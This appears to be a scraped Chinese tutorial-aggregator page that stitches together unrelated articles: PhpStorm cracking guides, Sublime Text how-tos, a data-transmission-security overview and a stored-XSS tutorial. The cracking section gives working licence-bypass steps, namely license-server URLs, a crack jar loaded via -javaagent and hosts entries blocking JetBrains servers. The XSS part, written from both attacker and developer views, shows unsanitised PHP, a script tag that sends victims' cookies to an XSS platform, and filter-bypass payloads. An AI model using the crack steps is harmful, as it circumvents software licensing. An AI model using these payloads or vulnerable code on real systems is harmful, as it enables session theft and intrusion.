2020年phpstorm激活码(最新)含激活步骤-phpstorm
今天很多同学反馈2019年的Phpstorm激活码失效了,那小编再发个2020年最新的phpstorm激活码,供学习使用!
复制粘贴如下激活码,点击OK(目前有效期到2021年1月份,本激活码会不断更新)
以下激活码为免修改hosts文件 ,如果修改过请删除网址再激活(2020.1.4号更新)
注:本激活码由热心网友提供,仅做学生学习用途,若是商业开发,请从官方(https://www.jetbrains.com/phpstorm/)购买正版!
这样,就激活成功啦!
具体的激活教程,见:正版phpstorm免费激活步骤(图文详解)
请关注微信公众号:小兔网最新课程,以备不时之需,回复 pm 或者 phpstorm 即可获取激活码
以上就是2020年phpstorm激活码(最新)含激活步骤的知识。速戳>>知识兔学习精品课!
在安装PHPstorm编辑器通常都有很烦人的试用期,试用期已结束就不可使用需要购买,下面我整理到了一些关于phpstorm的破解方法,希望对大家有所帮助。
最新(2019.10.14更新):正版phpstorm免费激活步骤(图文详解),下面的破解方法已经失效,可直接PASS掉。
win版下载地址:http://www.zhishitu.com/xiazai/gongju/122
mac版下载地址:http://www.zhishitu.com/xiazai/gongju/510
新版激活方法:
1.在线激活
最新
http://jetbrains.tencent.click
http://idea.sigusoft.com/key.php
菜单help >>>> Register 选择License Server 输入http://idea.qinxi1992.cn/点击ok
2.本地激活
以上需要在联网的环境下,如果没有网络则提示没有激活:
下载
http://idea.qinxi1992.cn/jar/JetbrainsCrack-2.5.3.jar
放到phpstorm安装目录下的lib文件夹
如放到f盘
F:Program Files (x86)JetBrainsPhpStorm 2016.1libJetbrainsCrack-2.5.3.jar
选择菜单 help >>>> Edit Custom VM options如果没有会提示创建,进行创建打开文件 最后面加入 一行-javaagent:F:Program Files (x86)JetBrainsPhpStorm 2016.1libJetbrainsCrack-2.5.3.ja后面是补丁的路径,根据自己放的位置修改保存文件关闭并重新打开phpstorm
到网站 http://15.sigusoft.com/
生成一个激活码
菜单 help >>>>Register选择Activation Code 将验证码粘贴进去激活...
以上我整理到的phpstrom破解方法,希望今后会对大家有所帮助。
相关文章:
最新版PhpStorm 2017激活办法
PHPstorm破解方法
以上就是phpstorm 最新版本破解方法的知识。速戳>>知识兔学习精品课!
Phpstorm是大多数PHP程序员们爱不释手的一款编码的集成开发工具。它支持所有PHP语言功能, 提供最优秀的代码补全、重构、实时错误预防等等功能。但是对于一些php新手来说,总会有这样一个疑问,phpstorm免费吗?显然这个问题对于下载过phpstorm工具的朋友们都知道,phpstorm有30天的试用期,也就是30天内免费试用,并不需要激活。
最新开课:小兔网《php开发小白到大牛集训营》正在报名中!
那么phpstorm过期后又该如何继续操作呢?
相关文章:《永久激活的你的神器(phpstorm)》(热心网友提供,仅供学习使用)
以下步骤可能失效!
所以本篇给大家介绍一个重要的免费激活方法(也可在过期前激活),具体操作步骤如下:
1.打开PHPstorm
2.这里我们来点击activation code
3. 复制粘贴如下激活码,点击OK(目前有效期到2021年1月份,本激活码会不断更新)
以下激活码为免修改hosts文件 ,如果修改过请删除网址再激活(2020.1.4号更新)
因为知识产权风险,不提供学习用的激活码了,请前往官网购买!
这样,就激活成功啦!
注:本激活码由热心网友提供,仅做学生学习用途,若是商业开发,请从官方(https://www.jetbrains.com/phpstorm/)购买!
4. 注意:若是激活码用不了
本激活码不能用于官网最新的版本,只针对2019年及以前的phpstorm版本,另外若还是不行需修改hosts文件
方法01:卸载phpstorm,再重新下载安装(注意需要是2019年及以前版本,如下)
小兔网下载地址:https://zhishitu.com/ke
phpstorm官方下载地址:https://confluence.jetbrains.com/display/PhpStorm/Previous+PhpStorm+Releases
方法02:退出phpstorm软件,找到hosts文件,在最后加入
0.0.0.0 account.jetbrains.com
0.0.0.0 www.jetbrains.com
hosts文件地址
WIN系统:C:WindowsSystem32driversetc
MAC OS系统:/private/etc/hosts
保存后,再重新打开phpstorm软件,并粘贴激活码,确定即可!
若还是有问题,请关注“小兔网最新课程”订阅公众号(下图有附上二维码),回复phpstorm,或者进行提问咨询,我们第一时间回复!
PS:如何查看phpstorm使用期限?
首先打开IDEA,选择上面的选项help,然后help->Register...或者help->About,如下图
(phpstorm显示有限期至2021.1.4号)
请关注微信公众号:超乎想象,以备不时之需,回复 pm 或者 phpstorm 即可获取激活码
以上就是正版phpstorm免费激活步骤(图文详解)的知识。速戳>>知识兔学习精品课!
本篇文章带大家介绍如何使用phpstorm自带服务器运行php项目(图文详解)有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。
首先使用phpstorm打开项目
然后菜单栏
先点击php,然后点击后面的三个点,弹出的新窗口(name随便起一个)中选择本地php目录下的php.exe然后点ok回到上一个页面,在中选择对应的php版本,然后点击ok。这样phpstorm的php解释器就配好了
然后点击主界面上边的,弹出窗口点击左上角+号,然后选择
name随便起,host和端口是你项目启动时候的访问地址,自定义,浏览器访问项目就通过这里的host和端口访问
document roots 默认就是你打开项目所选的地址,一般不用改,配好了点击ok。
点击右边的箭头,然后你的项目就跑起来了,在浏览器输入刚才配的host和端口就可以访问项目了
然后就是debug的配置了,这里简单说一下(与phpstorm内置服务器相配合的,如果用的其他服务器,就不用往下看了)。
首先需要根据本地php环境下载相应的xdebuge插件,放在php下的ext目录下,在php.ini里面配置相应参数(网上教程一大堆,不再赘述),chrome的插件xdebug helper自己在chrome商店下(国内访问不到chrome商店),主要说phpstorm这边
还是菜单栏-->file-->settings-->langgues&frameworks-->php下的servers。点+号添加一个监听服务器
name自己随便起,host和port与项目启动的host,port一致,debugger就用xdebug就好(xdebug还是zend debug主要取决与自己用的php debug的插件)然后点ok,debug相关配置就完成了
点击右边的电话听筒,然后就开始监听了
打上断点,再访问断点所在的界面,就可以跳到phpstorm里面了(chrome的xdebug helper插件当然也要打开咯)
推荐学习:《PHP视频教程》
以上就是如何使用phpstorm自带服务器运行php项目(图文详解)的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家介绍使用sublime text3运行Java程序方法,希望对需要的朋友有所帮助!
由于不想在ide里面进行Java的学习,所以想用sublime进行Java的开发,于是就有了如何在sublime里面进行对Java的编译运行的问题。
在网上找了许多教程,后面还是不能够进行结果的输出,后来才发现原来是自己的理解有所偏差导致的。(记下来记下来,以后读文章要好好理解其内容意思才好行动)。
(1)首先是找到sublime的package的文件夹,并找到其中的java.sublime-pakage压缩包:
(2)使用解压软件打开它(重点强调:不是直接将其解压)(我用的是360解压):
(3)编写一个JavaC.sublime-build文件(后缀就是sublime-build,内容如下):
{"cmd": ["javac","-d",".","$file"],"file_regex": "^(...*?):([0-9]*):?([0-9]*)","selector": "source.java","encoding":"cp936",//执行完上面的命令就结束// 下面的命令需要按Ctrl+Shift+b来运行"variants":[{"name": "Run","shell": true,"cmd" : ["start","cmd","/c", "java ${file_base_name} &echo. & pause"], //c是执行完命令后关闭cmd窗口,// /k是执行完命令后不关闭cmd窗口。// echo. 相当于输入一个回车// pause命令使cmd窗口按任意键后才关闭"working_dir": "${file_path}","encoding":"cp936"}]}
(4)将编写好的文件加入java.sublime-pakage压缩包中(直接复制粘贴就好la)
(5)然后重新打开sublime,编写Java源文件,然后按ctrl+shift+b,可以进行选择编译或者运行,结果如下:
(6)圆满结束,开心!!!
以上就是使用sublime text3运行Java程序的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家介绍使用sublime Text 3编写HTML方法,希望对需要的朋友有所帮助!
1.下载并安装Sublime Text 3.
2.打开Sublime Text 3界面。
欢迎页面
3.按下Ctrl+N,新建页面。
新建页面
4. 按下Ctrl+S,另存为你所指定的文件名,使用.html后缀(后缀很重要,Sublime将会根据后缀判断语言类型并帮你开启相应的自动补全)。例如,文件名为test.html
此时,当前标签页的文件名已经变成了test.html
5.输入<h,如图弹出相应代码补全候选目录后,可以看到html位于第一个,按下回车,自动补全:
6.如图,Sublime Text 3为我们自动生成了html页面的框架,我们再不必费心费力地输入大量起始内容了:
注:其中的<!DOCTYPE html>为HTML5中的new feature
7.在<title>和</title>之间输入网页名称,它就是浏览器标签页上的名称。例如,输入index.
8.在<body>和</body>之间输入 <h2后回车,Sublime Text 3将会为你添加二级标题的代码补全。例如,输入一个标题为Chapter 1后,按下Ctrl+S保存文件。
9.不必关闭Sublime,直接使用任意一款流行的浏览器打开你的test.html文件;
浏览器当前标签名即为你输入的title:index,地址栏内容为你的html文件本地路径。
Chapter 1为你刚刚输入的二级标题。
10.不要关闭浏览器,在Sublime中输入<p按下回车,Sublime将产生段落补全代码,在<p>和</p>之间输入Hello World Wide Web!后按下Ctrl+S保存文件。
11.刷新浏览器,可以看到html显示内容发生了变化:(Chrome浏览器中刷新操作为右键菜单单击重新加载,或按下Ctrl+R)
12.至此,使用Sublime编写HTML的入门部分就完成了,还实现了编写代码的同时用浏览器立即手动追踪显示效果的变化。我们还可以使用win10中的分屏将Sublime与浏览器并列在一起,便于观察。
以上就是教你快速使用sublime Text3编写HTML的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家介绍Sublime Text3如何设置快捷键打开浏览器,希望对需要的朋友有所帮助!
在不同浏览器查看代码效果可谓是家常便饭,所以用不同快捷键对应打开不同浏览器可以大大提高工作效率。
本篇分享个简单的方法只需二步:
一、安装插件SideBarEnhancements
ctrl+shift+P 转 Package Control: Install Package 搜 SideBarEnhancements 安装。
没装Package Control?请看:Sublime Text3—软件安装、package control插件管理。
二、设置快捷键
打开Key Binding | user复制下面代码,然后修改为你的浏览器路径,重启软件。
[ { "keys": ["f1"], "command": "side_bar_files_open_with", "args": { "application": "D:\Program Files (x86)\Mozilla Firefox\firefox.exe", "extensions": ".*", "paths": [] } }, { "keys": ["f2"], "command": "side_bar_files_open_with", "args": { "application": "C:\Users\delll\AppData\Local\Google\Chrome\Application\chrome.exe", "extensions": ".*", "paths": [] } }, { "keys": ["f5"], "command": "side_bar_files_open_with", "args": { "application": "C:\Program Files\Internet Explorer\iexplore.exe", "extensions": ".*", "paths": [] } }]
Tips:
1.f3是查找下一个的快捷键,f11是全屏的快捷键,设置时小心冲突!详细快捷键介绍请看:Sublime Text—自带快捷键介绍。
keys是按键,application是浏览器程序路径,extensions是匹配所有的文件后缀格式。
2.桌面的快捷图标怎么看路径?选中图标 | 右键 | 属性,反斜杠需转义把改为\。
以上就是Sublime Text3如何设置快捷键打开浏览器的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家介绍解决Sublime3打开GBK编码文件中文乱码的方法,希望对需要的朋友有所帮助!
一、安装包管理器Package Control
先安装一个Package Control包,这是一个用来安装其他插件的包,不管装什么插件,首先要先装这个包。 官网地址:https://packagecontrol.io/installation
安装完后重启下Sublime Text 3,在perferences选项一栏下面就会多了个Package Control。推荐用快捷键 打开Package Control.
二、安装ConvertToUTF8和GBK Encoding Support
安装完成Package Control之后,使用ctrl+shift+p快捷键进入命令模式, 输入Install Package,回车,
在稍后弹出的安装包框中搜索:或者,选择点击安装.(笔者已经安装,所以就看不到了。)
重启Sublime Text,关闭gbk文件,再次重新打开gbk文件,中文就不会乱码了。
如果还看到不,可以安装。
以上就是解决Sublime3打开GBK编码文件中文乱码的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家介绍Sublime Text3配置Verilog语法环境的方法,希望对需要的朋友有所帮助!
方法一:
1.下载安装完软件
2.安装Package Control插件
默认没有安装,需要手动安装:
按ctrl~调出控制台,在其中黏贴以下命令:
import urllib.request,os; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); urllib.request.install_opener( urllib.request.build_opener( urllib.request.ProxyHandler()) ); open(os.path.join(ipp, pf), 'wb').write(urllib.request.urlopen( 'http://sublime.wbond.net/' + pf.replace(' ','%20')).read())
3.安装完成后重启
4.安装汉化插件:
(1)ctrl+shift+p弹出搜索框输入install
(2)点击第一条输入ChineseLocalizations,点击安装即可
(3)在菜单栏help中找到language设置即可
5.安装verilog插件:ctrl+shift+p弹出搜索框输入install点击第一条输入verilog,安装即可在菜单栏—视图—语法中即可看到
方法二:
1.下载插件:
链接:https://qan.baidu.com/s/1RcFqrUYxgblK-opuHDiOTw
提取码:2pi2
2.将文件复制到 C:Users你的用户名AppDataRoamingSublime Text 3PackagesUser 中,重启即可
以上就是详解Sublime Text3配置Verilog语法环境的知识。速戳>>知识兔学习精品课!
问题
知识兔操作系统:win10描述:搜狗、qq拼音等输入法,两个编辑器内输入中文时不能跟随光标
sublime解决方法
知识兔
通过下载IMESupport插件 ,注意并不是日本人写的那个。是对其改造。
可直接下载zip包,然后Preferences->Browse Packages ,放入到这个目录,重启sublime即可。
phpstrom解决方法
知识兔
double click shift ,出现search Everywhere。输入 ,出现以下图。选择你本机的JAVA JDK即可。重启
最近开始撸的时候,一直使用的sublime text3着实让强迫症的我难受至极,本身不支持的高亮,安装完之后新的问题来了,格式化插件挂了。。。
前前后后尝试了两三个插件( etc.),都不太理想。可以使用,但是那个对的缩进,还有对诸如语句的诡异缩进,糟心。终于在准备换IDE的时候看到了VSCode格式化插件的一个配置项有,还可以选择。prettier官网(科学上网):https://prettier.io/docs/en/install.html 可以看到Facebook在用它优化项目的代码,没深究。
执行下载到的包里有个,这就是本体了。
sublime text3 直接在搜索下载,打开它的配置项加入如下保存即可。注意修改你本地的和路径
{ "debug": false, "prettier_cli_path": "/usr/local/lib/node_modules/prettier/bin-prettier.js", "node_path": "/usr/local/bin/node", "auto_format_on_save": false, "auto_format_on_save_excludes": [], "allow_inline_formatting": false, "custom_file_extensions": [], "max_file_size_limit": -1, "additional_cli_args": {}, "prettier_options": { "printWidth": 80, "singleQuote": false, "trailingComma": "none", "bracketSpacing": true, "jsxBracketSameLine": false, "parser": "babylon", "semi": true, "requirePragma": false, "proseWrap": "preserve", "arrowParens": "avoid" }}
在快捷键配置中加入
{ "keys": ["super+shift+c"], "command": "format_javascript"}
具体可以去github看插件作者的Readme
插件的功能不是全部功能,可以在命令行使用指令格式化代码,(也可以直接在项目中引用?)
下面由sublime教程栏目给大家介绍怎么2步实现在Git Bash中用Sublime打开文件,希望对需要的朋友有所帮助!
每次都要用鼠标点来点去才能用sublime打开文件!太不科学!今天来配置一下在git bash中用sublime打开文件
方法
知识兔新建一个文件命名为你想要的命令,比如 (注意不能有后缀名),内容:
#!/bin/sh"C:Program FilesSublime Text 3sublime_text.exe" $1 &第一行是说这是个 shell 脚本第二行的字符串是sublime 的安装目录注意这里要输入你自己的目录第二行的$1 是取的命令之后输入的参数第二行的&是此命令在后台打开,这样sublime打开之后,就不会阻塞你的git bash保存到 目录下(你的git目录可能与我的不一样,注意改成你自己的)大功告成~
使用方法
知识兔
subl xxx
如果已存在,则打开已存在的文件,如果不存在则打开新文件命名为。
扩展
知识兔
不光是sublime,感觉用这种方法我们就可以设置更多了,比如用chrome打开文件等等。 发现更大的世界~yeah!
以上就是2步实现在Git Bash中用Sublime打开文件的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家介绍Sublime Text3安装sublime_merge以及sublimerge插件,希望对需要的朋友有所帮助!
【摘要】 sublime_merge的安装
首先,Sublime Text很好用,特别是3之后的版本。
其次,我也是百度找的绿色版本,不过好像我执行的是exe的文件安装的。安装插件的那个还是跟官网下载的一样一样的。
第三,我的电脑科学上网了,所以,我像其他网友一样碰到“Package Control 安装插件报错”,但是不用像他们一样折腾,直接安装就可以了。
开始安装:
1、安装sublimerge插件:
preferences====》》Package Control====》》 ()以上步骤可以就简化为“Ctrl+Shift+P”组合键;
然后输入“Install Package”即可打开插件安装的界面,如下
在输入框中输入“sublimerge”,总共有两个版本,因为我安装了一个,这只显示一个
上下键或者鼠标选中即能安装。
安装结束之后,鼠标右键点击右侧的文件,即可显示“sublimerge”选项
2、安装sublime_merge软件。
进入网址https://www.sublimemerge.com/download ,下载windows版本安装软件,下载到执行文件,直接点击安装即可。请一定要记住安装目录,接下来会用到;
鼠标右键点击右侧是git仓库clone的目录,会有如下界面:
之后,点击“Open Git Repository”,会有报错提示,如下图
此时需要在设置中添加一条内容,如下图
添加到Preferences==》Settings 以下:“ "sublime_merge_path": "D:\Program Files\Sublime Text 3\Sublime Merge\sublime_merge.exe",”(注意里面的逗号要加上啊,还有那个路径是安装的sublime_merge.exe可执行文件的绝对路径),之后保存。
再去尝试下邮件打开git仓库clone的目录,就能通过sublime_merge直接打开此本地仓库了。
以上就是Sublime Text3怎么安装sublime_merge以及sublimerge插件的知识。速戳>>知识兔学习精品课!
快捷键有:1、注释,“Ctrl+/”;2、选中选择的词,“alt+f3”;3、新建,“Ctrl+N”;4、快速闭合标签,“Alt+.”;5、关闭当前文档,“Ctrl+W”;6、添加一行空行,“Ctrl+回车”;7、替换,“Ctrl+H”等。
本教程操作环境:windows7系统、Sublime Text3.3176版、Dell G3电脑。
1.Ctrl + / ---------------------注释
2.Ctrl + 滚动 ------------------字体变大/缩小
3.Ctrl + N-----------------------新建 ,Ctrl + S 保存(一般用于新建项目名)
4.Alt + . -----------------------快速闭合标签
5.Ctrl+Shift +k -----------------删除一行
6.Ctrl + 回车 -------------------添加一行空行
7.Ctrl + Shift +V ---------------粘贴过程中保持缩进
8.Alt + F3 ----------------------选中选择的词
9.Ctrl + W ----------------------关闭当前文档
10.Ctrl + H ---------------------替换
11.Ctrl + D ---------------------多行游标选择 可以搭配 Ctrl + K取消选择部分游标,产生游标的另外一种方式,按住Shift + 鼠标右键拖动光标
12.Ctrl + F3 --------------------和上面一样,但它选择文件中的所有匹配项。小心使用这个,因为它能选择一个文件中的所有匹配项
13.Ctrl + Shift + D -------------复制这行文本
14.SHift +Tab -------------------去除缩进
15.Ctrl + Shift + P -------------命令模式,软件右下角可以选择文档语法模式
命令:
sshtml模糊匹配-----语法切换到html模式,同理所得,ss+相应文件名匹配相应模式,如ssphp、ssjava等
16.Ctrl + P ---------------------菜单上的解释是gotoanythings,用"#"匹配,
用"@"可以在js文件中匹配相应的类
一些常用:
border-top: 1px solid #000; --------bt+
color: #fff; -----------------------c#fff
display: inline-block; -------------d:i-b
text-decoration: line-through; -----tdl
(相关视频教程推荐:java视频教程)
以上就是sublime常用快捷键有哪些的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家介绍sublime怎么快速创建一个简单的网页,希望对需要的朋友有所帮助!
方法步骤:
1、在桌面上新建一个文件夹。
2、打开文件夹在里面新建一个html文件。
3、用sublime打开刚刚建立好的文件。
4、对文本进行编辑。在英文状态下输入感《!》按TAB键。
5、如图所示得到的效果,这是最基本的网页规则。
6、在body里面输入一行文字。来测试我们建立的网页是否成功。并保存。
7、双击打开文件,一个简单的网页就这样制做好了简单吧!
以上就是sublime快速创建一个简单的网页的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家Sublime Text怎么新增gbk编码支持,希望对需要的朋友有所帮助!
Sublime Text默认不支持GBK,但是我们可以通过安装插件的方式让它支持。 首先我们需要安装Package Control,新版本的Sublime(版本:3.1.1)支持通过Tools来安装。
如果你的Sublime没有这个选项也不要担心,我们可以通过另外 一种方式来安装,这里就不在详述,详细过程请参考官方教程。 当我们看到如下界面,证明已经安装成功。
然后我们点击Package Control,找到install Package并点击,如下图所示
再弹出的搜索框中输入conver,找到converToUTF8点击并安装。
此时我们点击File,发现多了两个选项Set File Encoding to和Reload with Encoding。
如果你是Linux系统,此时如果我们想要把文件保存为GBK仍然做不到,会有如下提示。
其实在插件的文档中已经提到,我们需要下载Codecs33。步骤同刚才下载converToUTF8。
安装完成后重启Sublime,该功能即可使用(如果不重启,仍然会保存失败)。
以上就是Sublime Text怎么新增gbk编码支持的知识。速戳>>知识兔学习精品课!
下面由sublime教程栏目给大家介绍在Ubuntu 20.04上怎么安装Sublime Text 3,希望对需要的朋友有所帮助!
Sublime Text 是一种流行的文本和源代码编辑器,用于 Web 和软件开发。它非常快,并且具有许多开箱即用的强大功能。可以通过安装新插件和创建自定义设置来增强和自定义应用程序。
本文解释了如何在 Ubuntu 20.04 上安装 Sublime Text 3。在 Ubuntu 上安装 Sublime 相当简单。我们将启用 Sublime 存储库,导入存储库 GPG 密钥,并安装编辑器。相同的说明应该适用于任何其他基于 Debian 的发行版。
Sublime Text 是一个专有应用程序。它可以免费下载和评估。但是,如果您连续使用它,则需要购买许可证。评估没有强制执行的时间限制。
在 Ubuntu 20.04 上安装 Sublime Text 3
以 root 或具有 sudo 权限的用户身份执行以下步骤以 在 Ubuntu 上安装 Sublime Text 3:
安装 通过 HTTPS添加新存储库所需的依赖项:
sudo apt updatesudo apt install dirmngr gnupg apt-transport-https ca-certificates software-properties-common
通过键入以下内容将存储库的 GPG 密钥和 Sublime APT 存储库导入系统的软件存储库列表:
curl -fsSL https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -sudo add-apt-repository "deb https://download.sublimetext.com/ apt/stable/"
启用存储库后,通过键入以下内容安装 Sublime Text 3:
sudo apt install sublime-text
就是这样,你已经在你的 Ubuntu 20.04 桌面上安装了 Sublime Text 3,你可以开始使用它了。
当新版本发布时,您可以通过桌面标准软件更新工具更新 Sublime 包。
启动 Sublime 文本
您可以从终端通过键入subl或单击 Sublime 图标 ( Activities -> Sublime)来启动 Sublime Text 编辑器:
第一次启动 Sublime Text 时,会出现如下窗口:
结论
我们已经向您展示了如何在 Ubuntu 20.04 上安装 Sublime Text。您的下一步应该是安装Sublime Text Package Control 并开始根据您的需要自定义您的新编辑器。
要查找有关 Sublime Text 的更多信息,请访问官方Sublime Text 文档 页面。
本文系英文直译,若有疑问,请查看英文原文:https://linuxize.com/post/how-to-install-sublime-text-3-on-ubuntu-20-04/
以上就是详解如何在Ubuntu20.04上安装Sublime Text3的知识。速戳>>知识兔学习精品课!
一、定义
数据传输安全是对数据进行网络传输的安全的管理,这是数据安全重要的阶段,也是发生数据安全事件,如数据泄露、窃取、篡改等比较频繁的过程,所以该阶段的重要性不言而喻。
该过程包含四个过程域,分别为:数据传输加密和网络可用性管理。
1.1数据传输加密
官方描述为根据组织机构内部和外部的数据传输要求,采用适当的加密保护措施,保证传输通道、传输节点和传输数据的安全,防止传输过程中数据被截取所引发的数据泄漏。
数据在通过不可信或者较低安全性的网络进行传输时,容易发生数据被窃取、伪造和篡改等安全风险,因此需要建立相关的安全防护措施,保障数据在传输过程中的安全性,而加密是保证数据安全的常用手段。
DSMM标准在充分定义级要求如下:
组织建设
组织机构设立了管理数据加密、密钥管理的岗位和人员,负责整体的加密原则和技术工作,由各业务的技术团队负责实现具体场景下的数据传输加密。
在DSMM的要求中这个几乎都是一样的,每个过程域都需要指定专人和专岗负责该项工作,并能够胜任此工作。在实际工作中,可能所有的过程域在这个维度上都是同样的一个或多个人,可以单独任命,也可以在相应的制度章节中进行说明。
制度流程:
建立数据传输安全管理规范,明确数据传输安全要求(如传输通道加密、数据内容加密、签名验签、身份鉴别、数据传输接口安全等),确定需要对数据传输加密的场景。
建立密钥管理安全规范,明确密钥生成、分发、存取、更新、备份和销毁的流程和要求。
技术工具:
有对传输通道两端进行主体身份鉴别和认证的技术方案和工具。
有对传输数据加密的技术方案和工具,包括针对关键的数据传输通道统一部署传输通道加密方案(如采用TLS/SSL方式),及对传输数据内容进行加密。
有对传输数据的完整性进行检测并执行恢复控制的技术方案和工具。
有对数据传输安全策略的变更进行审核和监控的技术方案和工具,已部署对通道安全配置、密码算法配置、密钥管理等保护措施进行审核及监控的技术工具。
已建设密钥管理系统提供数据的加密解密、签名验签等功能,并实现对密钥的全生命周期(生成、存储、使用、分发、更新、销毁)的安全管理。
人员能力:
了解主流的安全通道和可信通道建立方案、身份鉴别和认证技术、数据加密算法和国家推荐的数据加密算法,基于具体业务场景选择合适的数据传输安全管理方式。
负责该项工作的人员了解数据加密的算法,并能够基于具体的业务场景选择合适的加密技术。
以下是在数据传输加密过程中具体落地应该重点关注的内容。
1. 建立数据传输安全管理规范,明确数据传输安全要求(如传输通道加密、数据内容加密、签名验签、身份鉴别、数据传输接口安全等),确定需要对数据传输加密的场景。
2. 需要加密的场景应该根据国家法律法规要求、行业监管部门要求及单位自身业务数据的保密性和完整性要求。结合数据分类分级的内容,通常包括但不限于系统管理数据、鉴别信息、重要业务数据和重要个人隐私等完整性和保密性要求高的数据。
3. 由于加密技术的实现都依赖密钥,所以需要建立密钥管理安全规范和密钥管理系统,明确密钥的生成、分发、存取、更新、备份和销毁的流程。即什么安全级别的数据,应该采取什么加密算法(国密算法还是国际算法,对称加密算法、非对称加密算法还是哈希算法)以及使用多少位强度的密钥,密钥的有效期是多久,怎么备份密钥,怎么删除密钥等一系列内容。
4. 在选择加密类型及密钥强度时需要结合业务类型和网络现状,有选择地实行加密,避免对业务造成影响。
5. 对于负责加密策略配置和密钥管理的人员,必须有一个审核监督机制,确保其加密算法的配置和变更都是得到授权和认可的,目前通常采用堡垒机的方式进行监督管理。
1.2网络可用性管理
官方描述为通过网络基础链路、关键网络设备的备份建设,实现网络的高可用性,从而保证数据传输过程的稳定性。
数据在网络传输过程中依赖网络的可用性,一旦发生网络故障或者瘫痪,数据传输也会受到影响甚至中断。
DSMM标准在充分定义级要求如下:
制度流程:
在关键的业务网络架构应考虑网络的可用性建设需求,对关键的网络传输链路、网络设备节点实行冗余建设。
技术工具:
部署负载均衡、防入侵攻击等设备进一步强化对网络可用性风险的防范
人员能力:
负责该项工作的人员具有网络安全管理的能力,了解网络安全中对可用性的安全需求,能够根据不同业务对网络性能需求制定有效的可用性安全防护方案。
以下是在数据采集安全管理阶段具体落地应该重点关注的内容:
1. 对关键业务网络的传输链路、网络设备节点进行冗余建设。包括:硬件冗余(电源冗余、引擎冗余、模块冗余、设备堆叠、链路冗余、设备冗余、负载均衡)、软件冗余(链路捆绑技术)和路由冗余(VRRP、动态路由协议)。
2. 借助负载均衡、防入侵攻击等安全设备来降低网络的可用性风险。
二、总结
DSMM之数据传输安全其实就是为了保证数据从前端采集之后到业务处理系统之间传输过程的安全,主要的目标就是实现数据保密、防篡改和高可用,对网络安全的要求也是基于数据加密和网络冗余可用。
虽然在文中,很多制度和技术工具是分开叙述,但是在实际工作中可能是混在一起的,同时很多具体实现的部分不仅仅只是应用在一个过程域或者一个生命周期阶段,甚至可以应用在整个生命周期过程中。比如要求对重要或敏感数据进行加密存储和传输,在生命周期各阶段都适用。
以上就是详细介绍DSMM之数据传输安全的知识。速戳>>知识兔学习精品课!
什么是存储型XSS
它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,一般是注入一段javascript脚本。在测试过程中,我们一般是使用:
<script>alert(1)</script>
通过这段js代码,弹个框来证明存在xss漏洞。那么,可能新手就会问了,弹个框有什么用呢?
其实,弹框只是为了证明存在此漏洞。而此漏洞的利用方式由很多种。
比如,你可以使用xss平台:
写入一段平台生成的xss脚本:
<script src=https://xiaotua.com//xsspt.com/ZsgUBf></script>
当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。
你只需要登录xss平台等待即可,拿到cookie后,可以不需要密码登录他的账号。
注意:本文的重点是一步一步以黑客的角度进行xss攻击,再讨论如何站在开发者的角度去一步一步防御xss攻击。所以我会在本文中以开发的身份修正后端代码,再以黑客的身份进行前端页面的xss攻击,这一点需要注意哦。
对于存储型xss漏洞的表现形式,比较经典的是留言板。但是我们都是遵纪守法的好同学,不能对外面的网站进行测试,所以就花半个小时自己手撸一个留言板咯。
首先,应该有前端展示的页面Message_Board.php和后端存储数据的页面addMessage.php
前端代码不是本文重点(感兴趣的可以自行查看前端代码),我们重点关注后端代码addMessage.php:
<?php$nickname = @$_POST['nickname'];//昵称$email = @$_POST['email'];//邮箱$content = @$_POST['content'];//留言内容$now_time = @$_POST['now_time'];//留言时间$ini= @parse_ini_file("config.ini"); $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);if($con){mysql_query("set names 'utf8'");//解决中文乱码问题mysql_select_db($ini["dbname"]);$sql1 = "select count(*) from message_board";$result = mysql_query($sql1);$floor = mysql_fetch_row($result)[0] + 1;$sql = "insert into message_board values($floor,"$nickname","$email","$content","$now_time")";mysql_query($sql);}?>
可以看到,我们对传入的四个参数完全没有处理,而是直接存入数据库中。
所以,只要我们这样输入:
提交之后,系统会自动刷新页面出现弹框:
点击确定后,你会发现留言内容和留言者的部分都为空。
这是因为js脚本已经被解析了,这时我们按F12,打开浏览器的开发者工具,发现了js脚本。
那么,问题来了。
毕竟我们还有另外一个身份,开发者该如何防御呢?
0×00、来个最简单的,只修改前端代码
在input标签里面加上maxlength属性
<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">
至于原理嘛,就是因为js脚本的形式为<script></script>长度为17,所以只要我们在前端对长度进行限制,就可以阻止黑客进行xss攻击了。
可是!开发可没这么好做!
我们是想做开发的黑客,所以还得自己搞自己。
作为攻击者,我们同样可以修改前端代码,具体的操作是使用浏览器的F12(开发者工具)
可以看到,我们可以直接进行长度的修改。
另外,还可以用抓包的方法,在包里面直接写,也是不受长度限制的。
0×01、对关键字script进行过滤
作为开发者,你很容易发现,要想进行xss攻击,必须插入一段js脚本,而js脚本的特征是很明显的,脚本中包含script关键字,那么我们只需要进行script过滤即可。
回到之前的代码。
为方便说明,我只取nickname参数,其实传入的四个参数需要做同样的处理。
$nickname = str_replace("script", "", @$_POST['nickname']);//昵称
上面这个str_replace()函数的意思是把script替换为空。
可以看到,script被替换为空,弹框失败。
那么黑客该如何继续进行攻击呢?
答案是:大小写绕过
<sCrIPt>alert(1)</ScripT>
因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。
成功弹框!
0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字
作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。
后端代码修正如下:
$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称
str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。
那么,黑客该如何绕过?
答案是:双写script
<Sscriptcript>alert(1)</Sscriptcript>
